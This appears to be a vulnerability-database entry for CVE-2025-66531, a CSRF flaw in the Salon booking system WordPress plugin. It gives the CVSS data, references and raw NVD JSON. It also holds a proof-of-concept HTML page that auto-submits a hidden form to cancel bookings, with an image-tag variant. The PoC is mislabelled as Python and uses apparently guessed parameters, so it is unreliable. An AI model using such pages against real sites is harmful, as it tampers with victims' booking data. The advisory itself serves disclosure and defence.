CVE-2025-66531

Description

Cross-Site Request Forgery (CSRF) vulnerability in Dimitri Grassi Salon booking system salon-booking-system allows Cross Site Request Forgery.This issue affects Salon booking system: from n/a through <= 10.30.3.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Salon Booking System <= 10.30.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for Salon Booking System - Modify Booking Status -->
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack PoC</title>
</head>
<body>
    <h1>Malicious Page - Do Not Visit</h1>
    <form action="https://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrfForm">
        <input type="hidden" name="action" value="salon_update_booking">
        <input type="hidden" name="booking_id" value="123">
        <input type="hidden" name="status" value="cancelled">
        <input type="hidden" name="_wpnonce" value="">
    </form>
    
    <script>
        // Auto-submit form without user interaction
        document.getElementById('csrfForm').submit();
    </script>
    
    <p>If you see this, the attack failed.</p>
</body>
</html>

<!-- Alternative: Image tag-based GET request (if supported) -->
<img src="https://target-site.com/wp-admin/admin-ajax.php?action=salon_update_booking&booking_id=123&status=cancelled" width="0" height="0">

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-66531
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-66531
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-66531/
[4] VulDB https://vuldb.com/cve/CVE-2025-66531
[5] https://patchstack.com/database/Wordpress/Plugin/salon-booking-system/vulnerability/wordpress-salon-booking-system-plugin-10-30-3-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-66531", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:20.433", "lastModified": "2026-04-27T18:16:38.607", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in Dimitri Grassi Salon booking system salon-booking-system allows Cross Site Request Forgery.This issue affects Salon booking system: from n/a through <= 10.30.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/salon-booking-system/vulnerability/wordpress-salon-booking-system-plugin-10-30-3-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}